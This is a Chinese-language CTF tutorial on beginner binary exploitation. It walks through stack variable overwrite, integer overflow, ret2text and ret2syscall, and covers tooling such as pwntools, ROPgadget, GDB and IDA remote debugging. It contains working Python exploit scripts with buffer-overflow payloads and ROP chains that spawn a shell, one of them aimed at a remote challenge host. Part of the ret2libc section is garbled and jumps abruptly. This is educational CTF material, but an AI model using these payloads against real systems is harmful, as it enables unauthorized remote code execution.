PWN的一些基础知识 | 您所在的位置:网站首页 › x48为什么叫x48 › PWN的一些基础知识 |
前言什么是Pwn? 概念”Pwn”是一个黑客语法的俚语词 ,是指攻破设备或者系统 。发音类似“砰”,对黑客而言,这就是成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被你操纵了。——————————————————————————————————百度百科 例子 试想有个端口对外开放着某种服务,如果你成功将它pwn掉,获取shell,提权之后这台服务器你就可以为所欲为; 即使无法提权,你也可以使用shell执行一些操作 入门者常用的Pwn方法√ 代表本文目前更新 栈内变量覆盖 √ 整型溢出 √ ROP【全称为Return-oriented programming(返回导向编程)】 ret2text √ ret2shellcode(未启用NX保护,栈可执行) √ ret2libc (可用于绕过NX保护)√ ret2syscall √ ret2csu - 请移步下篇文章pwn进阶(尚未更新)格式化字符串漏洞 √ 构造ROP链 - 请移步下篇文章pwn进阶(尚未更新) 一些话IDA上静态分析看到的东西有时和实际上运行的情况不一样,所以有时候需要进行动态分析,利用gdb等工具(IDA debug环境也可) 本文提供的程序全部为pyhton3,使用python2.7运行可能会遇到错误 本文篇幅较长,也比较枯燥,需要一些耐心进行阅读、思考 本文写给有c语言基础但是不懂pwn的人,介绍基础方法 开始之前如果想知道相关工具的配置,请到本文后部分“相关”部分。(非常建议先把工具的使用方法了解一下) 本文可能存在一些错误,如有发现请麻烦指正,感激不尽。 导入简单栈内变量覆盖程序ciscn_2019_n_1 程序下载: 本站网址/static/post/pwn-rop/ext/bin/ciscn_2019_n_1 checksecamd64-64-little,为64位小端存储,开启NX保护 运行一下 IDA反编译main函数直接F5查看c伪代码,没有关键的东西,继续看func函数 func函数汇编 c伪代码 可以看到gets函数,这是个危险函数,我们从gets入手 程序解释程序打印“Let’s guess the number.” 程序读取输入,存到v1变量 程序判断v2的值是否为11.28125,是的话就执行system(“cat /flag”) 剩下的略过 可以发现v2并没有要求输入,但是v1可以输入任意数量的字符,由于v1 v2处于同一个栈,将v1输入一定数量的字符导致其溢出,溢出值覆盖v2的值即可 如下,v1首地址与v2首地址相差0x30-0x04也就是48-4 = 44 Exploit1234567from pwn import *#p = remote("pwn.challenge.ctf.show","28176")p = process('./ciscn_2019_n_1')p.recvuntil("Let's guess the number.")payload1 = b'a' *(0x30-0x04) + p64(0x41348000)p.sendline(payload1)p.interactive() Exp解释到接受完”Let’s guess the number.”这一字符串,程序就发送44个a,再发送11.28125的十六进制形式 需要注意的是,p64()函数中填入浮点数会报错,为了避免这个错误,我们需要先将11.28125转化为十六进制形式 可以使用在线工具,网站在此 小端程序和大端程序本次使用的程序就是64位的小端程序,关于小端程序和大端程序的区别,其实就是一个存储方式的区别 小端和大端的区别,是会对我们pwn产生影响的,但是我们接触到的pwn程序一般为小端存储,简单了解下即可 1234567大端模式(大尾)* 存储规则:数据的高位存在内存的低位,数据的低位存在内存的高位。* 常见软件:RAM(手机)上的应用多采用大端模式存储小端模式(小尾)* 存储规则:数据的低位存在内存的低位,数据的高位存在内存的高位。* 常见软件:Intel AMD CPU上的应用多采用小端模式存储 当一个变量的值位0x1122,0x11为高字节,0x22为低字节在大端程序中,0x11存储在内存的低位,而0x22存储在内存的高位 在小端程序中,0x22存储在内存的低位,而0x11存储在内存的高位 如果觉得有些抽象还可以看看这个判断程序(C语言)来自此处 123456789101112131415161718//大小端测试程序#include #include void checkCPUendian();int main() { checkCPUendian(); return 0;}void checkCPUendian() { union { unsigned int i; unsigned char s[4]; }c; c.i = 0x12345678; printf("%s\n", (0x12 == c.s[0]) ? "大端模式" : "小端模式");} 简单整型溢出M78欢迎来到M78星云的光之国,开始你的奇妙冒险吧!题目入口:失效了/(ㄒoㄒ)/~~ 初步尝试对其执行checksec *32位程序 *NX保护也就是栈不可执行 逆向分析ida打开 先看主函数部分 调用了explorer函数 看过了explore函数和后面的check函数,感觉找不到可以溢出的地方 找后门函数先把后门函数找到 1234int call_main(){ return system("/bin/sh");}记录下地址0x08049202 尝试直接运行不允许的情况 允许的情况 程序要求strlen得出为7才能允许,为啥输入6个a就能成?个人认为因为回车存在”\n”符,程序把换行符”\n”算进去了 反而输入7个a是不能成的 写了个c程序验证,果然如此 开干找溢出目标可以看到调用了check函数 存在溢出的是strcpy那里,只需要让dest溢出即可,这个dest是下图中的第一句c程序char dest; 为啥?由于字符串复制(strcpy函数)s指针指向的字符数组的大小可以超过dest所在栈空间的最大值(ebp-18h那里)(也就是0x18),存在溢出 关于溢出的的一些知识这里就要讲一下上溢出了 上溢出存在于有符号型数据类型,一个char型为一个字节,用于C或C++中定义字符型变量, signed char范围是 -2^7 ~ 2^7-1,即-128到127 假设一个signed char变量的值为127,此时加1,它会变成-128 10b01111111->加1->0b100000000ctfwiki中解释 1230x7fff (0b0111111111111111)表示的是 32767,但是 0x8000 (0b1000000000000000)表示的是 -32768,用数学表达式来表示就是在有符号短整型中 32767+1 == -32768既然有上溢出,当然也有下溢出 ctfwiki中解释 下溢出存在于无符号型数据类型 123sub 0x8000, 1 == 0x7fff,对于无符号来说是 32768 - 1 == 32767 是正确的,但是对于有符号来说就变成了 -32768 - 1 = 32767。要求满足字符长度为7的条件 char存储128的值会因为溢出而变成-128,也就是存储257后实际值就是1,下面有进行条件测试 条件测试1写了一个c程序进行观察 保存为1.c 123456789101112#include #include #include int main() { char buf; //保持和题目程序一致 char buf1[200]; scanf("%s", buf1); //数组不需要取地址&,或者也可以&buf1[0] buf = strlen(buf1); printf("%d\n", buf); return 0;}gcc编译 使用-m32参数保证编译32位程序 1gcc 1.c -o 1.o -m32使用pwntools测试 123456from pwn import *#p = remote("39.96.88.40","7010")p = process('./1.o')payload = (128)*'a'p.sendline(payload)p.interactive()结果 更多结果 条件测试1总结也就是输入256+i,存储的就是i(i为整数) 理顺条理那么对于这道题目,我给它输入262个字符就行,262即256+6,剩下一个字符为“\n”,符合长度7 为啥?本文开头那里“尝试直接运行”部分有说明 构造payload由于我使用python3,所以需要decode(“iso-8859-1”),python2.7无需此操作 10x18 * 'a' + 4 * 'a' + p32(0x08049202).decode("iso-8859-1") + (262-0x18-4-4) * 'a'读入的最大大小为0x199u,也就是十进制409,262个字符输入是可行的 payload解释0x18 * ‘a’ 中的0x18前面说过是dest存储的最大值,超过这个值造成dest变量溢出 汇编显示有leave指令,即mov esp,ebp和 pop ebp pop ebp也就是说pop时候,出栈用esp寄存器接收数据 4 * ‘a’ 是用于覆盖ebp寄存器的出栈数据(32位程序为4字节,64位程序就要为8字节了),使其出栈 详解ebp和esp寄存器 那么p32(0x08049202).decode(“iso-8859-1”)实际上是p32(0x08049202),是字节码,溢出时使ret指令跳到这个地址,使其执行位于0x08049202的函数 ret指令的作用 (262-0x18-4-4) * ‘a’是为了保证最后发送的为262个字符,-0x18就不多说了,前面已经有0x18个字符‘a’故减去,一个-4是因为前面的4 * ‘a’ 占去四个字符 而再次-4是因为p32(0x08049202)为4个字符的大小,下图使用python的函数len()计算出p32()为四个字符的长度 前面已经说明使用262的原因 Exploitexploit如下 12345678910from pwn import *p = remote("39.96.88.40","7010")#p = process('./M78')payload = 'a' * 0x18 + 4 * 'a' + p32(0x08049202).decode("iso-8859-1") + (262-0x18-8) * 'a'p.sendlineafter("Your choice?",'1') #代替人工输入,sendlineafter意思是读到了“Your choice?”这个字符串才开始输入p.sendlineafter("Please choose a building","test")#程序要求,随便输几个字符p.sendlineafter("Please input the password", payload)#溢出点p.interactive()payload其他写法 这样写可能更好理解 12payload = 'a' * (0x18 + 4) + p32(0x08049202).decode("iso-8859-1")payload.ljust(262, "a") 简单ret2textret2text的简单理解就是利用.text段 什么时候使用ret2text?通常我们会反编译程序,查看是否有后门函数存在,如果后门函数如system(“/bin/sh”)存在,很有可能可以使用ret2text。 题目来自https://ctf.show/ 的 pwn02 下载程序提供一个stack文件 checksec可以看到这是32位的程序,开启NX 运行一下 IDA反编译可以看到数组s的所在栈空间只能存9个字符,而程序允许50字符的读取,存在栈溢出 pwnme函数如下 还发现后门函数 地址位于0x804850F 程序解释程序运行后要求用户输入,最多能输入50个字符,输入的字符存到数据类型为char的s变量中 Exploit语言为python3 1234567from pwn import *#p = remote("pwn.challenge.ctf.show","28176")p = process('./stack')p.recv()#读取的信息无用payload1 = 'a' *9 + 'a' *4 + p32(0x804850F).decode("iso-8859-1")p.sendline(payload1)p.interactive() EXP解释先使用9个字符填满s变量所在栈,造成溢出,再使用4个字符对ebp寄存器进行覆盖(程序在返回(ret)前会pop ebp,即对ebp进行出栈操作)(由于是32位程序,ebp寄存器能存4个字节,所以是4,64位程序是8) 结构如下: (使用Windows自带画图工具画的,见谅) 进阶ret2text程序下载: 本站网址/static/post/pwn-rop/ext/bin/ret2text1 因为找不到想要的在text段有”/bin/sh”字段的程序,所以拿ctfwiki上的一题ret2libc1来讲,应当是类似的 checksec IDA反编译存在后门函数,地址为0x08048460,但是只有system函数,不能获取shell 允许输入命令(由command变量) 存在字符串”/bin/sh“ 按图示操作 显示 找到字符串”/bin/sh“的地址为0X08048720,可以构造system(“/bin/sh”) 程序解释输出”RET2LIBC >_ ebx存入了0x***做法:找到pop_ebx_ret这个gadgets | payload:p32(pop_ebx_ret) + p32(0x***) ecx存入0 1234栈顶 0出栈(pop) ecx -> ecx存入0做法:找到pop_ecx_ret这个gadgets | payload:p32(pop_ecx_ret) + p32(0) edx存入0 edx操作同上面ecx 触发中断 123int 0x80做法:找到int 0x80这个gadgets | payload:p32(int_0x80)完整过程: 1p32(pop_eax_ret) + p32(0xb) + p32(pop_ebx_ret) + p32(0x***) + p32(pop_ecx_ret) + p32(0) + p32(pop_edx_ret) + p32(0) + p32(int_0x80)如果找到的gadgets为 1pop edx ; pop ecx ; pop ebx ; ret那么完整过程: 注意参数对应寄存器 1p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(0x***) + p32(int_0x80) 程序程序下载: 本站网址/static/post/pwn-rop/ext/bin/ret2syscall 程序来自ctfwiki 32位的程序,开启了NX IDA静态分析反编译的伪c代码 汇编 程序理解打印两串字符,然后无限制获取输入,存入栈空间为0x64的v4变量中,v4为int型 字符1为:这次,没有system()也没有shellcode。。。 字符2为:你打算怎么做? 思路我感觉这题可以用ret2libc做 要按照ret2syscall做的话,我已经在上面的“概念”处的”实际操作“已经说明了做法 如何确定适不适合使用ret2syscall? 答案是找gadgets 查找’int’ 1ROPgadget --binary 文件名 --only 'int' 查找’/bin/sh’ 1ROPgadget --binary 文件名 --string '/bin/sh' 查找同时含eax和含pop、ret的gadgets 1ROPgadget --binary 文件名 --only 'pop|ret' | grep 'eax'需要选地址为0x080bb196那个 查找含pop、ret和含有ebx的gadgets(查找ecx、edx同理) 1ROPgadget --binary 文件名 --only 'pop|ret' | grep 'ebx'箭头所指的都可以选 或者直接查找含pop、ret和同时含有ebx、ecx和edx的gadgets 1ROPgadget --binary 文件名 --only 'pop|ret' | grep 'ebx' | grep 'ecx' | grep 'edx' 构造payload错误的payload 123456int_0x80 = 0x08049421bin_sh = 0x80be408pop_eax_ret = 0x080bb196pop_edx_ecx_ebx_ret = 0x0806eb90payload = b"a" * (0x64+4) + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bin_sh) + p32(int_0x80)正确的payload 0x64->0x6C,如果不太懂可以看看前面的”进阶ret2text“部分 123456int_0x80 = 0x08049421bin_sh = 0x80be408pop_eax_ret = 0x080bb196pop_edx_ecx_ebx_ret = 0x0806eb90payload = b"a" * (0x6C+4) + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bin_sh) + p32(int_0x80)v4的地址 ebp的位置 计算偏移量 Exploit12345678910111213from pwn import *p = process('./ret2syscall')int_0x80 = 0x08049421bin_sh = 0x80be408pop_eax_ret = 0x080bb196pop_edx_ecx_ebx_ret = 0x0806eb90payload = b"a" * (0x6C+4) + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bin_sh) + p32(int_0x80)p.sendline(payload)p.interactive() 相关Pwn工具pwntoolspwntools由python编写,有python2.7版本和python3版本 1pip install pwntools或 1pip3 install pwntools checksecchecksec是pwntools里的工具 ==使用方法== 1checksec 文件名 调用pwntools1from pwn import * 处理文件1p = process('./文件名')#来产生一个对象 连接远程机器1p = remote("服务器地址","端口")#来产生一个对象 信息处理接收123p.recv()#接收所有信息p.recvuntil("标志字符")#接收到字符直到标志字符出现p.recv(数字)#接收多少个字符 发送123p.send()#发送p.sendline()#发送结尾带换行p.sendafter("标志字符","信息")#信息只在接收到标志字符后才会发送 数据类型send()等函数能接受字符串和bytes类型的数据,所以payload可以为str类型 decode(“iso-8859-1”)可以将bytes类型的数据按”iso-8859-1”字符集转换为str类型数据,如下 1payload = 'a' * (0x18 + 4) + p32(0x08049202).decode("iso-8859-1")也可以为bytes类型,如下 1payload = b'a' * (0x18 + 4) + p32(0x08049202) ELF参考此文章 1elf = ELF(’./文件名’) #产生一个对象使用elf查找地址 1234elf.symbols[‘a_function’] 找到 a_function 的地址elf.got[‘a_function’] 找到 a_function的 gotelf.plt[‘a_function’] 找到 a_function 的 pltelf.next(e.search(“some_characters”)) 找到 some_characters 可以是字符串,汇编代码或者某个数值的地址 LibcSearcher有python2.7版本和python3版本 1pip install LibcSearcher或 1pip3 install LibcSearcher先接收泄露的地址 1puts_addr = u32(p.recv(4))对其进行自动查找 1234libc = LibcSearcher('puts',puts_addr)base_addr = puts_addr - libc.dump('puts')system_addr = base_addr + libc.dump('system')bin_sh_addr = base_addr + libc.dump('str_bin_sh')LibcSearcher在python3下老是报连接已重置错误,重试好几次才有一次能用,还不如我自己手动去查找来的快 ROPgadgetGadget是什么Gadget是以 ret 结尾的指令序列,当我们可以修改某些地址,我们就能控制程序的执行 ROPgadget工具安装1pip install ropgadget ==使用方法==1ROPgadget --binary 文件名配合grep 1ROPgadget --binary 文件名 | grep "关键字"查找特定字符 1ROPgadget --binary 文件名 --only "字符" 1ROPgadget --binary 文件名 --string "字符串" GDB安装gdb1sudo apt-get install gdb 安装pwndbg插件注意,需要git(使用sudo apt install git安装git) 1git clone https://github.com/yichen115/GDB-Plugins进入pwndbg目录 1cd GDB-Plugins/pwndbg需要可执行权限 1chmod +x setup.sh运行下面命令进行安装,可能需要一点时间 1./setup.sh 进入1gdb 文件名 开始执行程序1start输入n将会单步执行 1n 退出1quit 断点调试程序会在断点处停止 (breakpoint)下断点 12345678b 行号break 函数名break 行号break 文件名:函数名break 文件名:行号break +偏移量break -偏移量break * 地址(continue)继续运行程序 1c(display)输入display b将显示b的值 1display b(info)查看下过的断点 1info break(delete)删除断点 编号要在info命令里查看Num显示的数字 12345678delete 编号delete :删除指定断点delete:删除所有断点clearclear 函数名clear 行号clear 文件名:行号clear 文件名:函数名(disable)和(enable)禁用和启用断点(而不是删除) 12345678910disable 编号disable 断点编号disable display 显示编号disable mem 内存区域enable 编号enable once 断点编号:该断点只启用一次,程序运行到该断点并暂停后,该断点即被禁用。enable delete 断点编号enable display 显示编号enable mem 内存区域(break 和run) 满足某个条件时激活断点 如满足a等于1时在程序第5行下断点 123break 断点 if 条件,如b 5 if a == 1condition 断点编号:给指定断点删除触发条件,如condition 5condition 断点编号 条件:给指定断点添加触发条件,如condition 5 if a == 1 设置观察点(watch)当程序访问某个存储单元启用b断点 1watch b(continue)继续执行 1c 改变变量值1set variable = 显示变量1print 变量 显示栈帧1bt 显示局部变量1bt full 查看内存(examine) n、f、u是可选的参数。 n: 显示内存的长度 f: 显示的格式,如字符串为s,地址为i u: 从当前地址往后请求的字节数,默认4byte 1x/如 1x/50wx 地址 IDA相关配置调试环境 打开IDA程序目录 打开目录下的dbgsrv文件夹可以看到支持很多环境 如果是在X86架构的linux上调试,就选linux_server和linux_server64 放到X86_64架构的linux环境下 运行先赋予可执行权限 12chmod +x linux_serverchmod +x linux_server64然后运行 123./linux_server或./linux_server64 连接打开32位的IDA(运行哪个就开哪个) 1、设置debugger 2、连接linux主机 填写参数,密码为linux主机的密码 ip查看 123ip addr show或ip addr show eth0端口 开始调试F9运行,一路YES 调试界面 linux主机端可以看到程序运行 写在最后学习参考: https://blog.csdn.net/Xuanyaz/article/details/117855179 延迟绑定 https://www.freesion.com/article/2459875127/ ctfshow-pwn题参考 https://blog.csdn.net/qq_43573676/article/details/104305068 大端与小端 https://blog.csdn.net/qinying001/article/details/103266763 ret2libc x64学习 https://blog.csdn.net/qq_33948522/article/details/93880812 ret2syscall的知识 GDB的使用 https://www.cnblogs.com/arnoldlu/p/9633254.html https://www.cnblogs.com/chenmingjun/p/8280889.html本文更新完成 EOF |
CopyRight 2018-2019 实验室设备网 版权所有 |